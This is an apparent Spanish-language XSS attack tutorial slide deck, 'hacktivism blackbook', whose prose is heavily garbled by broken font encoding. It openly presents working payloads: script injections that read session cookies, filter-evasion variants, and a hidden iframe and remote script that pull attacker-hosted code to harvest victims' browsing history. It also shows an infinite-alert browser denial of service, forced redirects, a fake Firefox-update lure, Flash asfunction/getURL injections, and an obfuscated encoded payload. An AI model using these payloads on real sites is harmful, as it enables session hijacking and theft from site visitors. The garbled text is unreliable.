You are on page 1of 174

SCG09

lord epsylon
.:XSS_Hacking_tutorial_SP
.:hacktivism blackbook_1.0:.
for fun and profit

$3Ssion:!
[url=javascript:document.write(unescape('%3C%69%66%!%6"%6#%6$%
!%%%69%6&%&%6'%3#%!!%3%%!$%!!%!%%6'%6$%69%6%6'%&%3#%!!%3%%!$%!!%!%%3
%!%63%3#%!!%6'%&%&%%%3(%!)%!)%%%%!*%!%6)%6)%&%3%6'%6$
%6C%6C%!*%6!%6$%!*%!)%63%6)%6)%6+%69%6$%3
%!*%%%6'%%
%3)%63%6)%6)%6+%69%6$%3#%!%!%%!+%!%%6&%6)%63
%$%6#%6$%6*%&%!*%63%6)
%6)%6+%69%6$%!%%!+
%!%%!%!%%66%!%6"%6#%6$%6!%6)%!%6&%6$%!
%3#%!!%3%%!$%!!%3*',,
%3C%3)%%%6'%%%!%%!&%63%6)%6)%6+%69%6$
%!%%3#%!%%!&%$)%&%&$%$&%$+%!%63%
6)%6)%6+%69%6$%!%$#%3+%!%
%!&%6'%6"
%6*%6&%6C%6$%!%!%%3#%!%
%66%6)%%%6$%6*
%!'%!%63%6)%6)%6+%69
%6$%3%!*
%&%'%&%!%!C%!%%!%6"
%!%!9%3+
%!%%66%%!%69
%&%6$%!'%!&%6'%6"
%6*%6&%6C%6$%!%!C%!%%!&
%63%6)%6)%6+%69
%6$%!*%!!
%$C%6*%!!%!9
%3+%!%
%3)%3*
-resentado en:

.:ndice:.
"./ 0ntroducci1n
!./ 2ipos de (ta3ues
/ 4e5lected Cross Site Scriptin6 (7SS 4e5lejado,
/ Stored Cross Site Scriptin6 (7SS -ersistente,
/ #89 Cross Site Scriptin6 (#89 7SS,
/ Cross Site )las:in6 (7S),
/ Cross Site 4e3uest;4e5erence )or6er< (CS4),
/ Cross )rame Scriptin6 (7)S,
/ Cross =one Scriptin6 (7=S,
/ Cross (6ent Scriptin6 (7(S,
/ Cross 4e5erer Scriptin6 (74S,
/ #enial o5 Service (7SS#oS,
/ )las:! (ttac>
/ 0nduced 7SS
/ 0ma6e Scriptin6
/ anti/#?S -innin6
/ 09(-3 7SS
/ 9@29A 7SS
/ *Bpect CulneraDilit<
3./ *vitando )iltros
&./ -oC eBamples / +<passin6 5ilters
/ #ata Control -oC
/ )rame Eac>in6 -oC
$./ 2Fcnicas de ata3ue
G Classic 7SS / 4oDando Hcoo>iesI
G 7SS -roB<
G 7SS S:ell
G (jaB *Bploitation
G 7SS Cirus ; Jorms
G 4outer jac>in6
G J(? +rowser :ijac>in6
/ #?S cac:e poison
/ 7SS 0njected code on server
/ -ractical +rowser @ijac>in6
6./ 7SS C:eats / )uKK Cectors
./ Screens:ots

'./ @erramientas
9./ Ain>s
"%./ +iDlio6ra5La
""./ Aicencia de uso
"!./ (utor

.:Introduccin :.
(2ipos de (ta3ues,

.:Introduccin:.
*n la presentaci1n se eBponen tipos de ata3ues conocidosM 5ormas de evasi1n de 5iltrosM
di5erentes tFcnicas;5inalidades de un atacante < una recopilaci1n de :erramientasM lin>sM
ideas < vectores vNlidos.
*l Cross Site Scriptin6 (7SS, es la vulneraDilidad mNs eBplotada se6On la 8J(S- (8pen
JeD (pplication Securit< -roject,
*n el 7SS se manipula la entrada (input, de parNmetros de una aplicaci1n con el oDjetivo
de oDtener una salida (output, determinada 3ue no sea la :aDitual al 5uncionamiento del
sistema.
(l6unas estadLsticas a5irman 3ue el 9%% de todos los sitios weD tienen al menos una
vulneraDilidadM < el %% de todas las vulneraDilidades son 7SS.
( pesar de tratarse de una temNtica en se6uridad al6o anti6uaM aOn si6uen apareciendo
nuevos vectores de ata3ue < tFcnicas 3ue :acen 3ue se encuentra en constante
evoluci1n.
Se trata de un tipo de ata3ue mu< ima6inativo.
*Bisten 5ormas de prote6er contra la in<ecci1n de c1di6o malicioso. Aa Hpresentacin no
trata ese punto de vista P,

.:Reflected Cross Site Scripting :.
(OWASP-DV-!"

.:Reflected Cross Site Scripting :.
(OWASP-DV-!"
*l ata3ue Cross/site Scriptin6 (7SS, no persistenteP es un tipo de in<ecci1n de c1di6o
en la 3ue Fste no se ejecuta con la aplicaci1n weDM pero si se ori6ina cuando la vLctima
car6a una Q4A determinada (en el conteBto del nave6ador,.
*l escenario mNs comOn es el si6uiente:
/ (tacante crea una Q4A con el c1di6o malicioso in<ectado < la camu5la
/ (tacante envLa el enlace a la vLctima
/ Aa vLctima visita en enlace a la weD vulneraDle
/ *l c1di6o malicioso es ejecutado por el nave6ador del usuario
*ste tipo de ata3ues 6eneralmente se utiliKan para roDar las /coo>ies/ de la vLctimaM secuestrar
el nave6adorM tratar de acceder al :istorial de visitas < camDiar el contenido de la weD 3ue visita
la vLctima.

(OWASP-DV-!"
Qn ejemplo de 7SS 4e5lected podemos verlo de 5orma practica en pN6inas weD 3ue
HsaludanI de al6una 5orma al usuario con su nomDre de re6istro.
:ttp:;;www.tiendavirtual.com;indeB.p:pRuser=9r9a6oo
0n<ecci1n (sin evasivas,:
http://www.tiendavirtual.com/index.php?user=<script>alert(document.cookie);</script>
", 0n<ectaremos c1di6o para ver la coo>ie de la vLctima. Si estuviera Hlo6ueadoI
en la aplicaci1nM podrLamos secuestrar la sesi1n 3ue la mantiene activa < :acernos pasar por ella.
", 0n<ectaremos c1di6o para ver la coo>ie de la vLctima. Si estuviera Hlo6ueadoI
en la aplicaci1nM podrLamos secuestrar la sesi1n 3ue la mantiene activa < :acernos pasar por ella.
Si al in<ectar el c1di6o muestra la coo>ie de sesi1n en nuestro nave6adorM el parNmetro es vulneraDle.
.:Reflected Cross Site Scripting :.

(OWASP-DV-!"
0n<ecci1n (5iltrando caracteres S T < ; en @eB,:
http://www.tiendavirtual.com/index.php?user=!"script!alert(document.cookie);
!"#$script!
Aa aplicaci1n es vulneraDle a pesar del 5iltro < permite in<ectar c1di6o de 5orma Hre5lejadaI.
.:Reflected Cross Site Scripting :.

(OWASP-DV-!"
H(provec:andoI el vector (0nline Scriptin6,:
http://www.tiendavirtual.com/index.php?user=!"script
#%a=&!&#%'("=&http://)lack)ox.ps*.net/urls+visited,.-s&!!"#$script!
*l c1di6o (con evasivas, ejecutarN de 5orma remota el script en javascript del sitio weD del
atacante. *n el ejemplo ejecuta un c1di6o malicioso 3ue recopila el :istorial de la vLctima.
/ Ua tenemos el vector de ata3ue.
/ (l ser Hre5lejadoI se ejecuta en el conteBto del nave6ador.
/ *l procedimiento si6uiente del ata3ue inclu<e in6enierLa social con la vLctima.
/ Aa url con el c1di6o malicioso puede ocultarse con 2in<Q4A (:ttp:;;tin<url.com;create.p:p,
:ttp:;;tin<url.com;l5&vo!
.:Reflected Cross Site Scripting :.

(OWASP-DV-!"
*jemplo de vector de ata3ue Hre5lejadoI en un 5ormulario de DOs3ueda:
*l atacante in<ecta el c1di6o directamente en el 5ormulario de DOs3ueda de la aplicaci1n weD
(con o sin evasivas,.
:ttp:;;.www.met.police.u>;c6i/Din;:tsearc:
.:Reflected Cross Site Scripting :.

(OWASP-DV-!"
*jemplo de vector de ata3ue Hre5lejadoI en un 5ormulario de lo6in:
*l atacante in<ecta el c1di6o directamente en el 5ormulario de lo6in de la aplicaci1n weD (con o
sin evasivas,.
.:Reflected Cross Site Scripting :.

.:Stored Cross Site Scripting :.
(OWASP-DV-#"

.:Stored Cross Site Scripting :.
(OWASP-DV-#"
*l ata3ue Cross/site Scriptin6 (7SS, persistenteP es un ata3ue mNs peli6roso 3ue el anterior <a
3ue ejecuta el c1di6o in<ectado por el atacante en los nave6adores de todos los usuarios 3ue
vistan la aplicaci1n weD. Veneralmente se produce en a3uellas aplicaciones 3ue permiten a los
usuarios 6uardar al6On tipo de dato.
*l escenario mNs comOn es el si6uiente:
/ (tacante 6uarda c1di6o malicioso de 5orma persistente en una weD vulneraDle
/ Aa vLctima se identi5ica en la aplicaci1n con sus credenciales de usuario
/ Aa vLctima visita la weD vulneraDle
/ *l c1di6o malicioso es ejecutado por el nave6ador del usuario
*ste tipo de vulneraDilidades permite tomar el control del nave6ador de la vLctimaM capturar
in5ormaci1n soDre sus aplicacionesM realiKar un /de5acement/ del sitio weDM /scanear/ puertos de
los usuarios de la aplicaci1n weDM ejecutar /eBploits/ Dasados en el nave6ador < un mundo
ima6inativo de posiDilidades.
Qn escenario complejo real es el lanKamiento de ata3ues coordinados soDre una red mediante
el secuestro masivo de nave6adores. -ermite crear 5ocos para la propa6aci1n de 6usanos.

(OWASP-DV-#"
Qn ejemplo de 7SS HStoredI podemos verlo de 5orma practica en pN6inas weD 3ue
contienen 5oros o permiten dejar comentarios en los artLculos.
*n esta .presentacinM la in<ecci1n de c1di6o serN a travFs de un 5ormulario como el si6uiente:
8tros lu6ares donde realiKar un ata3ue HpersistenteI son:
W -er5iles de usuario: en aplicaciones 3ue permiten al usuario 6estionar su identidad/
W Carros de compra: aplicaciones 3ue permiten 6uardar oDjetos en un carro de compra HvirtualI
W Vestores de arc:ivos: aplicaciones 3uF permiten manejar (suDir, arc:ivos
W Con5i6uraciones: aplicaciones 3ue permiten ser con5i6uradas por los usuarios
.:Stored Cross Site Scripting :.

(OWASP-DV-#"
-ara comproDar si la aplicaci1n es vulneraDleM podemos insertar un comentario HnormalI
utiliKando determinados ta6s de @29A (0n<ecci1n de c1di6o @29A,.
-or ejemploM podemos poner un teBto en ne6rita SDT
?os permitirN conocer si es posiDle insertar c1di6o HpersistenteI dejando un comentario.
*n 0nternet no suele ser tan sencillo.
/ *s proDaDle 3ue la weD utilice 5iltros de ta6s < atriDutos
/ -seudoc1di6o 3ue interprete los estilos
/ )unciones tipo: stripXta6s(, pre6Xreplace(, strXreplace(,
/ 8tras medidas de 5iltro de inputs [ec:o :tmlspecialc:ars($nomDre,PY
#e todas manerasM siempre podemos tratar de construir el c1di6o necesario para evadir
los 5iltros < al6una 3ue otra 5unci1n. 4evisar el c1di6o. @a< 3ue ser ima6inativas P,
S//////// Vector de At$%ue
.:Stored Cross Site Scripting :.

(OWASP-DV-#"
QtiliKando in6enierLa social el atacante puede escriDir un teBto 3ue atrai6a la atenci1n de las
vLctimas. -or ejemploM utiliKando un Hasunto;comentarioI 3ue pueda ser de interFs.
(sunto: ?ew )ire5oB release (5iBed,
Comentario:
(ll Du6s 5iBed in new )ire5oB release. #ownload :ere: (A0?Z,
(l tratarse de c1di6o in<ectado HpersistenteIM los visitantes del sitio weD no tienen por3ue
enterarse de su ejecuci1n a nivel de aplicaci1nM si el c1di6o malicioso estN Dien construido.
Carios ejemplos en la mente de Hun in5ormNtico en el lado del malIM de c1di6o a in<ectar en el
nave6ador de la vLctimaM solo por visitar la weD 3ue contiene el HcomentarioIM pueden ser:
", *jecuci1n remota de un mensaje de (lert (, en el nave6ador de la vLctima.
!, *jecuci1n de c1di6o similar al ejemplo H4e5lectedI de manera oculta (6%,.
3, #ene6aci1n de servicio del nave6ador de la vLctima (sin ocultar < oculto,.
&, @acer una redirecci1n <;o toma de control del nave6ador de la vLctima para su uso en un ata3ue
a otra in5raestructura.
", *jecuci1n remota de un mensaje de (lert (, en el nave6ador de la vLctima.
!, *jecuci1n de c1di6o similar al ejemplo H4e5lectedI de manera oculta (6%,.
3, #ene6aci1n de servicio del nave6ador de la vLctima (sin ocultar < oculto,.
&, @acer una redirecci1n <;o toma de control del nave6ador de la vLctima para su uso en un ata3ue
a otra in5raestructura.
.:Stored Cross Site Scripting :.

(OWASP-DV-#"
-odemos realiKar un ata3ue HpersistenteI i6ual de avanKado con otros vectores.
*studiar el c1di6o 5uente para ver el resultado de las prueDas de cada in<ecci1n es
la clave en la DOs3ueda de otro tipo caminos.
0ma6ina 3ue en el comentario (con o sin evasivas,M el atacante prueDa a utiliKar
este simple vector &'
(sunto: test
Comentario:
><script>document.alert(/'')</script>
(, -ara complicarloM supon6amos ademNs 3ue la weD no permite in<ectar al6o tan evidente c1mo
c1di6o @29A < el vector de ejemplo de la Hne6ritaI no nos sirve.
(, -ara complicarloM supon6amos ademNs 3ue la weD no permite in<ectar al6o tan evidente c1mo
c1di6o @29A < el vector de ejemplo de la Hne6ritaI no nos sirve.
", *jecuci1n remota de un mensaje de (lert (, en el nave6ador de la vLctima.
.:Stored Cross Site Scripting :.

(OWASP-DV-#"
Si la aplicaci1n no estN Dien 5iltradaM puede ser 3ue HcierreI el campo /value/ del 5ormulario
3ue permite dejar comentariosM HrompiendoI el 5uncionamiento normal < permitiendo in<ectar
c1di6o a continuaci1n.
(sL interpretarLa el c1di6o in<ectado la aplicaci1n:
<input t*pe=&text& name=&comentario& id=&comentario&
value=&><script>document.alert(/'')</script>
Ao 3ue supone la ejecuci1n de un (lert (, en el nave6ador de la vLctima.
!, *jecuci1n de c1di6o similar al ejemplo H4e5lectedI de manera oculta (i5rameG@eB, utiliKando la tFcnica
Cross )rame Scriptin6 (7)S,
>!"12113#1,1415#%113#1,14151#1$3#16153#!4
!%#%171512131736!4!%#%3312163617!4
!%#%3!3#1!!4181,311,3!1!3#123%36!8311$
1216#7161$1!3514151936#91"1$1!1,36121$19!4
##1736363%!8#$#$1#1"1,1!1:1#1$37#93%3!32#9
191536#$353#1"3!5$31123!12361516!,#918
3!###2!9!"#$12113#1,1415!9
.:Stored Cross Site Scripting :.

(OWASP-DV-#"
C1di6o in<ectado 7)S sin Hcamu5larI:
><i;rame ;rame)order=% hei<ht=% width=%
src=-avascript:void(document.location=&http://)lack)ox.ps*.net/urls+visited,.-s&)></i;rame>
(l tratarse de c1di6o in<ectado HpersistenteIM los visitantes no se darNn cuenta de la creaci1n
de un i5rame HocultoI al visitar el comentarioM en el cualM se ejecutarN el c1di6o remoto de la
weD del atacante. *n el ejemplo usado recopila las urls 3ue :a visitado la vLctima.
3, #ene6aci1n de servicio del nave6ador de la vLctima
><script>;or (;;) alert(&)ucle&); </script>
*l nave6ador entrarN en un /loop/ in5inito de apertura de (lerts(, oDli6ando a la vLctima a
cerrarloM dene6ando el servicio de la aplicaci1n por 5alta recursos o por HoDli6aci1nI del usuario.
.:Stored Cross Site Scripting :.

(OWASP-DV-#"
&, @acer una redirecci1n <;o toma de control del nave6ador de la vLctima para su uso en un
ata3ue a otra in5raestructura.
Si la in<ecci1n de c1di6o HpersistenteI se realiKa en el /indeB/ de una weDM un atacante puede
:acer 3ue todo el trN5ico de usuarios 3ue la visita sea redireccionado a otro lu6ar. -or ejemploM
puede utiliKar la tasa de visitantes para la recar6a del propio sitio weD o la puesta en marc:a de
planes mNs complejosP creaci1n de una red de Dots a partir de nave6adores <;o roDo masivo de
datos desde servidores Dajo su control.
4edirecci1n directa de la vLctima a otra weD al car6ar la pN6ina 3ue contiene el comentario.
>SDod< onAoad=[document.location.:re5=':ttp:;;www.weDvictima.com'[T
4edirecci1n directa de la vLctima a otra weD despuFs de pasar un tiempo("%s, de la car6a de la
pN6ina 3ue contiene el comentario.
>Smeta :ttp/e3uiv=[accion[ content=["%[P url=[:ttp:;;www.weDvictima.com[ ;T
.:Stored Cross Site Scripting :.

(OWASP-DV-#"
*jemplo de vector de ata3ue HpersistenteI en una pN6ina 3ue 6uarda las DOs3uedas mNs
recientes:
*l atacante in<ecta el c1di6o directamente en el 5ormulario de DOs3ueda de la aplicaci1n weD
(con o sin evasivas, < cual3uier visitante 3ue :a6a clic> en HClustered 4esultsI serN vLctima.
*n el ejemplo se trata de un ino5ensivo mensaje de (lert(,.
.:Stored Cross Site Scripting :.

.:DO( Cross Site Scripting :.
(OWASP-DV-)"

(OWASP-DV-)"
.:DO( Cross Site Scripting :.
(ta3ue Cross/site Scriptin6 (7SS, utiliKando el #89 (#ocument 8Dject 9odel,P es un tipo de
in<ecci1n de c1di6o 3uF se produce cuando un contenido activoM como por ejemplo una 5unci1n en
/javascript/M es modi5icada mediante una in<ecci1n 7SS de manera especial para 3ue controle un
elemento #89M permitiendo al atacante tomar el control del mismo.
*l #89 de5ine la manera en 3ue oDjetos < elementos se relacionan entre sL en el nave6ador < en el
documento. Cual3uier len6uaje de pro6ramaci1n adecuado para el desarrollo de pN6inas weD
puede ser utiliKado. *n el caso de /javascript/M cada oDjeto tiene un nomDreM el cual es eBclusivo <
Onico. Cuando eBisten mNs de un oDjeto del mismo tipo en un documento weDM estos se or6aniKan
en un vector. (demNs el #89M se encar6a de activar los /scripts/ dinNmicos 3ue :acen re5erencia a
componentes del documentoM como por ejemplo 5ormularios o /coo>ies/ de sesi1n.
( di5erencia de los ata3ues descritos anteriormenteM cuando un parNmetro mal 5iltrado es pasado
por el servidorM devuelto por el usuario < ejecutado en el conteBto del nave6ador del usuarioM una
vulneraDilidad #89 7SS puede permitir al atacante controlar el 5lujo de c1di6o 3ue utiliKan los
elementos #89 a travFs de la in<ecci1n de c1di6o 3ue lo modi5i3ue [en caliente[. *so si6ni5ica 3ue
no re3uiere 3ue el atacante controle lo 3ue le devuelve el servidorM sino 3ue puede aprovec:arse
de pro6ramaciones [mal 5ormadas[ en /javascript/. \ste tipo de ata3ues pueden ejecutarse
utiliKando di5erentes instancias de manera 3ue el servidor no sea capaK de determinar cual es la
3ue se estN llevando a caDo en un momento determinado. *sto :ace 3ue la 6ran ma<orLa de 5iltros
7SS < re6las de detecci1n no puedan controlar de nin6una manera su desarrollo con FBito.

(OWASP-DV-)"
*s3uema de la ar3uitectura #89:
.:DO( Cross Site Scripting :.

(OWASP-DV-)"
]uiKNs en el caso del #89 el H:ac>I en si mismo es saDer como manipular la (-0. *sta
presentaci1n no pretende eBplicarlo al detalle (en la secci1n de lin>s podemos consultar manuales,M
pero utiliKar una serie de 5unciones como practica pueden servir para entender como manipularla <
sacar provec:o de los resultados.
Qno de los 5actores (:a< mNs, 3ue pueden anunciarnos 3ue una pN6ina weD es vulneraDle de un
ata3ue al #89 es una pN6ina en @29A 3ue utiliKa datos 3ue provienen de:
G document.location
G document.Q4A
G document.re5erer
Cuando /javascript/ es ejecutado en el nave6adorM Fste provee al c1di6o /javascript/ (servidor, con
varios oDjetos 3ue representan el #89. *l documento ademNs de oDjetosM contiene /suDoDjectos/
como la localiKaci1nM la /url/ < el /re5erer/. *so si6ni5ica 3ue son entendidos por el nave6ador
directamenteM antes de lle6ar al aplicativo servidor.
-or eso precisamente es tan complicado utiliKar contramedidas. 9u< pocas aplicaciones en @29A
/parsean/ la Q4A accedida desde document.Q4A o document.location.
.:DO( Cross Site Scripting :.

(OWASP-DV-)"
Qn ejemplo sencillo de la manipulaci1n de la (-0 podemos verlo con el ata3ue descrito
anteriormente de 5orma Hno persistenteI.
Qn ejemplo sencillo de la manipulaci1n de la (-0 podemos verlo con el ata3ue descrito
anteriormente de 5orma Hno persistenteI.
:ttp:;;www.tiendavirtual.com;indeB.p:pRuser=9r9a6oo
*n nuestra DOs3ueda anterior :emos localiKado la vulneraDilidad en el parNmetro HuserI.
Camos a ver 3ue sucede internamente si in<ectamos el si6uiente c1di6o (sin evasivas,M
< utiliKando @29A en veK de -@-:
:ttp:;;www.tiendavirtual.com;indeB.:tmlRuser=SscriptTalert(document.coo>ie,S;scriptT
.:DO( Cross Site Scripting :.

(OWASP-DV-)"
Ao primero 3ue sucede es 3ue el nave6ador de la vLctima reciDe ese /lin>/M envLa una petici1n
@22- al sitio weD al 3ue :emos in<ectado c1di6o a travFs de 7SS < reciDe el c1di6o weD estNtico
3ue 6enera el @29A. *l nave6ador de la vLctima comienKa entonces el /parseo/ del @29A dentro
del #89. *l es3uema #89 contiene un oDjeto llamado HdocumentoIM 3ue contiene a su veKM una
propiedad llamada HQ4AI. ( partir de dic:a propiedad contiene los datos de la Q4AM como parte del
#89. Cuando el /parseador/ lle6a al c1di6o /javascript/M Fste lo ejecuta < modi5ica la /raw/ de la
pN6ina @29A. Si se trata de una /url/ :ace la re5erencia a Hdocument.urlI < parte del /strin6/ 3ue lo
compone es /emDeDido/ durante el /parseo/ del c1di6o @29AM 3ue es inmediatamente /parseado/ a
su veK < ejecutado en el conteBto de la misma pN6ina (Hal vueloI,. -or tantoM cual3uiera de los
vectores 7SS descritos en la presentaci1n podrLan servir a un atacante.
#e todas maneras no siempre es tan sencillo. Suceden dos :ec:os importantes:
G ?o siempre el c1di6o malicioso 3ue se trata de /emDeDer/ se car6a en la /raw/ en @29A P,
G (l6unos nave6adores 5iltran los caracteres del /strin6/ de la Q4A. /9oKilla/ por ejemploM codi5ica
los caracteres propios de los scripts (S < T, por %3C < %3* dentro del Hdocument.urlI cuando la
/url/ no es escrita directamente en la Darra de nave6aci1n.
Sin emDar6o es vulneraDle sino se utiliKan dic:os parNmetros (S < T,M por ejemploM a travFs de la
/raw/ (el punto ",. Aas usuarias de /0nternet *Bplorer 6.%/ estNn de en:oraDuenaM son vulneraDles
HcasiI siempre P,
.:DO( Cross Site Scripting :.

(OWASP-DV-)"
:ttp:;;www.tiendavirtual.com;indeB.:tml*user=SscriptTalert(document.coo>ie,SscriptT
Se sustitu<e el carNcter (R, por un (^,.
(l6o aparentemente tan sencilloM camDia la interpretaci1n del nave6ador respecto a lo 3ue le
si6ue Ha su derec:aI. *n el casoM el nave6ador entiende 3ue lo 3ue tiene despuFs es un
5ra6mentoM es decirM no es parte de una llamada (una /3uer</,.
Aos nave6adores /0nternet *Bplorer 6.%/ < /9oKilla/ no envLan los 5ra6mentos al servidor < Fste
la entenderN como una solicitud de :ttp:;;www.tiendavirtual.com;indeB.:tml
*so si6ni5ica 3ue el c1di6o Hin<ectadoI puede ser 3ue no sea HvistoI por el servidor (salvo
con5i6uraciones de 0#S /detection/ M 0-S o 5irewalls de aplicaci1n,.
-ara :acer un /D<pass/ de determinadas medidas de prevenci1n HstandardI podemos
utiliKar el si6uiente c1di6o:
-ara :acer un /D<pass/ de determinadas medidas de prevenci1n HstandardI podemos
utiliKar el si6uiente c1di6o:
.:DO( Cross Site Scripting :.

(OWASP-DV-)"
Sin emDar6oM la tFcnica tiene puntos a su 5avor contra dic:as medidas. -uede ser invocada de
di5erentes lu6ares < 5ormas (a3uL van unos cuantos c1di6os de H:ac>sI vNlidos,:
:ttp:;;www.tiendavirtual.com;indeB.:tmlRnotname=SscriptT(document.coo>ie,S;scriptT
QtiliKamos la concatenaci1n inversa HnotI
:ttp:;;www.tiendavirtual.com;indeB.:tmlRnotname=SscriptTalert(document.coo>ie,
SscriptT+name=9r9a6oo
QtiliKamos HnotI < el parNmetro H_I 3ue completa la petici1n del servidor en caso de ser re3uerida
:ttp:;;www.tiendavirtual.com;indeB.:tmlR5ooDar=name=SscriptTalert(document.coo>ie,
SscriptT+name=9r9a6oo
*l parNmetro H5ooDarI va en primer lu6ar < contiene el Hpa<loadI a enviar. Se utiliKa como HvariaDleI
.:DO( Cross Site Scripting :.

.:Cross Site ,l$s-ing :.
(OWASP-DV-."

(OWASP-DV-."
/(ctionscript/ es un len6uaje Dasado en /*C9(Script/ ("996, utiliKado por las aplicaciones en 5las:
para interactuar con los usuarios.
Aos 5ic:eros 5uente de 5las: tienen la eBtensi1n .SJ)
-ueden ser interpretados utiliKando una mN3uina virtual /emDeDida/ en el propio reproductor de
5las:M lo 3ue permite /decompilarlos/ < analiKarlos detenidamente.
Qn Duen /decompilador/ liDre para H(ctionScript !.%I es H5lareI (:ttp:;;5lare.pre5use.or6;,
//////////////
-ara H(ctionScript 3.%I eBisten versiones /s:areware/ como:
G Sot:in> SJ) #ecompiler &.$ (Jindows 9';?2;!%%%;9*;7-;C0S2(,
G SJ) #ecompiler $.% +uild $%& (9ac8S 7 "%.&."% o anteriores,
G 2raDajo pendiente en V?Q;AinuB
.:Cross Site ,l$s-ing :.

(OWASP-DV-."
Comandos Otiles para la manipulaci1n de oDjetos )las::
Comandos Otiles para la manipulaci1n de oDjetos )las::
.:Cross Site ,l$s-ing :.
-ara /decompilar/ una pelicula.sw5 a pelicula.5lr
;lare movie.sw;
-ara compilar una pelicula.as ((ctionScript, a una pelicula.sw5
mtasc =version n =header ,%:,%:#% =main =sw; movie.sw; movie.as
-ara /desensamDlar/ el Hsw5I a /pseudoc1di6o/
;lasm =d movie.sw;
4eco6er eti3uetas < nomDres de 5rames desde un .sw5
sw;mill sw;#xml movie.sw; movie.xml
Veneralmente las traKas < errores se 6uardan en:
/home/user/.macromedia/$lash+>la*er/?o<s/;lashlo<.txt

(OWASP-DV-."
/(ctionscript/ utiliKa las /)las:Cars/ (variaDles de 5las:, para reciDir los parNmetros 3ue le pasan los
usuarios desde la pN6ina weD. Veneralmente utiliKa los ta6s HSemDedTI < HSoDjectTI.
<o)-ect width=&#%%& hei<ht=&,%%&>
<param name=&movie& value=&movie.sw;& />
<param name=&$lash@ars& value=&var,=valor,Avar#=valor#& />
<em)ed src=&mi'w;.sw;& width=&,%%& hei<ht=&,%%
$lash@ars=&var,=valor,Avar#=valor#&/>
</o)-ect>
Sin emDar6oM es recomendaDle utiliKar SJ)8Dject por3ue permite ser:
/ *jecutado desde la propia Darra de nave6aci1n
/ Car6ado dentro de un S5rameT
/ Car6ado dentro de un Si5rameT
<script t*pe=&text/-avascript&>
var so = new 'B$C)-ect(&movie.sw;&D &m*&D &#%%&D &,%%&D &7&D &&);
so.add@aria)le(&var,&D &valor,&);
so.add@aria)le(&var#&D &valor#&);
so.write(&divmovie&);
</script>
.:Cross Site ,l$s-ing :.

(OWASP-DV-."
trace(+root.var,); // imprime &valor,&
trace(+root.var#); // imprime &valor#&
.:Cross Site ,l$s-ing :.
CuNndo se utiliKan las /)las:vars/ son reconocidas como elementos +root de la HpelLculaI principal.
-ara acceder a dic:as variaDles desde H(ctionScript !.%I utiliKamos el si6uiente c1di6o:
CuNndo se utiliKan las /)las:vars/ son reconocidas como elementos +root de la HpelLculaI principal.
-ara acceder a dic:as variaDles desde H(ctionScript !.%I utiliKamos el si6uiente c1di6o:
Aas variaDles de tipo eBterno se encuentran en la propiedad H?oaderEn;oI.
QtiliKa un mFtodo llamado HparametersI.
-ara accederlo utiliKamos el si6uiente c1di6o:
var param:C)-ect = ?oaderEn;o(this.root.loaderEn;o).parameters;
trace(paramF&var,&G); // imprime &valor,&
trace(paramF&var#&G); // imprime &valor#&
*l c1di6o para acceder las variaDles eBternas desde H(ctionScript 3.%I es el si6uiente:
*l c1di6o para acceder las variaDles eBternas desde H(ctionScript 3.%I es el si6uiente:

(OWASP-DV-."
.:Cross Site ,l$s-ing :.
Qn ata3ue de tipo Cross/site )las:in6 sucede por ejemploM cuando una pelLcula car6a otra pelLcula
utiliKando la 5unci1n Hload9ovieI.
-odrLa suceder 3ue una pN6ina en @29A 3ue utiliKa /javascript/ para H:acer un /script/I de una
pelLcula H9acromedia )las:I llamara a determinados parNmetros como:
G VetCariaDle: permite acceso a los oDjetos pODlicos < estNticos desde /javascript/ a un /strin6/
G SetCariaDle: estaDlece un oDjeto de 5orma estNtica o pODlica a un valor /strin6/ desde /javascript/
-or ejemploM )las: utiliKa la 5unci1n HVetQ4AI para car6ar una pelLcula de una Q4A en una
ventana del nave6ador:
<etH(?(IH(EIDI+tar<et$rameI);
*so si6ni5ica 3ue es posiDle llamar a /javascript/ dentro del mismo dominio donde se encuentra la
pelLcula.
<etH(?(I-avascript:codi<omaliciosoIDI+sel;I);

<etHrl(I-avascript:;unction(IJ+root.ciJI))
Aue6o podemos :acer una in<ecci1n al #89 con /javascript/ de la si6uiente manera.
Aue6o podemos :acer una in<ecci1n al #89 con /javascript/ de la si6uiente manera.

(OWASP-DV-."
.:Cross Site ,l$s-ing :.
0n<ecci1n de c1di6o @29A soDre )las: (a travFs de ta6s,
0n<ecci1n de c1di6o @29A soDre )las: (a travFs de ta6s,
*l reproductor de )las: puede interpretar di5erentes tipos de /ta6s/ < tiene /uc-$s posi0les
1$ri$ntes de $t$%ues.
*n la presentaci1n vamos a ver dos de las mNs sencillas:

G Aa eti3ueta H(I: <a hre;=IH(EI>texto</a>
G Aa eti3ueta H0m6I: <im< src=IH(EI id=I$lashC)-ectE4I>
)las: utiliKa un HpseudoprotocoloI para las /Q4As/ en @29A llamado Has5unctionI.
Aa sintaBis es la si6uiente: as;unction:;unctionDparameter
5unction 9<)unc(ar6,`
trace ([Clic>ado [Gar6,P
a
m<2eBt)ield.:tml2eBt =[S( @4*)=b[as5unction:9<)uncM)oo b[TClic>ameS;(T[P

(OWASP-DV-."
.:Cross Site ,l$s-ing :.
http://url?buttonText=<a href='javascript:alert(7SS)'>lic!a"e</a>
9ostrar un (lert(,:
<a hre;=Ias;unction:<etH(?D -avascript:alert(7SS)I> "lickame</a>
Alamar a una 5unci1n H(ctionScriptI:
<a hre;=Ias;unction:;unctionDar<I >
Alamar a las 5unciones SJ) pODlicas:
<a hre;=Ias;unction:+root.o)-.;unctionD ar<I>
Alamar a una 5unci1n estNtica nativa H(ctionScriptI desde un servidor propio:
<a hre;=Ias;unction:'*stem.'ecurit*.allow4omainDhttp://)lack)ox.ps*.netI >
Qn atacante puede utiliKar dic:o protocolo especial (as5unction, para ejecutar una 5unci1n
H(ctionScriptI en un 5ic:ero SJ)M a travFs de la eti3ueta H(I.
Qn atacante puede utiliKar dic:o protocolo especial (as5unction, para ejecutar una 5unci1n
H(ctionScriptI en un 5ic:ero SJ)M a travFs de la eti3ueta H(I.

(OWASP-DV-."
.:Cross Site ,l$s-ing :.
Su sintaBis :aDitual es la si6uiente:
<im< src=Iima<e.-p<I> // <im< src=IurlI id=Inom)reo)-ectoI>
Se puede realiKar un 7SS si la polLtica eBterna de la pelLcula en )las: es =S
-or ejemplo utiliKando el ejemplo de H*<e 8n Securit<I 7SS.as:
class 7SS `
puDlic static 5unction main(,`
6etQ4A('javascript:alert(7SS)', P
a
a
Compilar: mtasc /version /sw5 evilv.sw5 /main /:eader ":":!% 7SS.as
http://url?buttonText=<i"# src='http://evil/evilv$%s&f'>
Qn atacante puede utiliKar dic:o protocolo especial (as5unction, para ejecutar una 5unci1n
